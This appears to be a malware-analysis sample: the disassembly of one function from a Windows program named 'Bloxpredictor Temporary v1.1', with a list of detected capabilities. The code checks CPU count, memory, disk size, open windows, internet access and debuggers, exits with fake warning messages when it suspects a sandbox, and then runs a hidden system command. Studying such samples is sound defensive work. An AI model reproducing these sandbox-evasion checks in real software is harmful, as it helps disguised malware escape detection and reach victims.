Function at 0x140002e60
Capabilities:
Check internet connectivity via wininet
Create process on windows
Enumerate gui resources
Execute command
Get memory capacity
Get system information on windows
Protect spawned processes with mitigation policies
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140011040]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov ebx, ecx
mov rdi, rdx
lea rcx, str.Bloxpredictor_Temporary___v1.1
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
xor esi, esi
cmp ebx, 2
jl 0x140002fc2
mov rbx, qword [rdi + 8]
lea r9, [rbp - 0x28]
xorps xmm1, xmm1
mov qword [rsp + 0x30], rsi
xor eax, eax
movaps xmmword [rbp - 0x50], xmm1
movups xmmword [rsp + 0x50], xmm1
mov qword [rbp - 0x30], rax
movabs rax, 0x100000000000
movups xmmword [rbp - 0x80], xmm1
mov qword [rsp + 0x28], rsi
xor edx, edx
movups xmmword [rsp + 0x60], xmm1
mov r8d, 0x20007
mov dword [rsp + 0x50], 0x70
movups xmmword [rsp + 0x70], xmm1
mov dword [rbp - 0x74], 0x80000
movups xmmword [rbp - 0x70], xmm1
mov qword [rbp - 0x28], rax
movups xmmword [rbp - 0x60], xmm1
mov qword [rsp + 0x20], 8
psrldq xmm1, 8
xorps xmm0, xmm0
movq rcx, xmm1
movups xmmword [rbp - 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea rax, [rbp - 0x40]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
mov rdx, rbx
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140002f91
mov rcx, rbx
call fcn.1400097a0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp - 0x48]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.1400097a0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp - 0x48]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp], 2
jb 0x140003033
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x58]
shr rax, 0x14
cmp eax, 0x800
jb 0x140003033
mov qword [rsp + 0x30], rsi
lea rcx, str..PhysicalDrive0
mov dword [rsp + 0x28], esi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], 3
mov r8d, 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000305b
lea rcx, str.Failed_to_open_HDD_n
call fcn.140001ea0
mov r9d, 0x30
lea r8, str.Warning
lea rdx, str.Your_computer_does_not_meet_the_requirements_to
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x38], rsi
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rax
xor r9d, r9d
lea rax, [rbp - 0x40]
mov dword [rsp + 0x28], 0x18
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, 0x70000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x14000309d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140003033
mov ecx, dword [rbp - 0x30]
mov eax, dword [rbp - 0x2c]
imul rax, rcx
mov ecx, dword [rbp - 0x34]
imul rax, rcx
mov rcx, rdi
imul rax, qword [rbp - 0x40]
cqo
and edx, 0x3fffffff
lea rbx, [rdx + rax]
sar rbx, 0x1e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x64
jb 0x140003033
xor edx, edx
lea rcx, [0x1400020c0]
call qword [sym.imp.USER32.dll_EnumWindows]
xor r8d, r8d
lea rcx, str.http:__www.google.com
mov edx, 1
call qword [sym.imp.WININET.dll_InternetCheckConnectionW]
test eax, eax
jne 0x140003125
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.No_internet_connection_available.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140008d30
test al, al
je 0x140003156
mov r9d, 0x30
lea r8, str.Warning
lea rdx, str.Your_computer_hardware_has_been_flagged_as_a_debugger.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140002aa0
lea rcx, [0x14000ce60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140003dc0
xor eax, eax
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.140009780
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret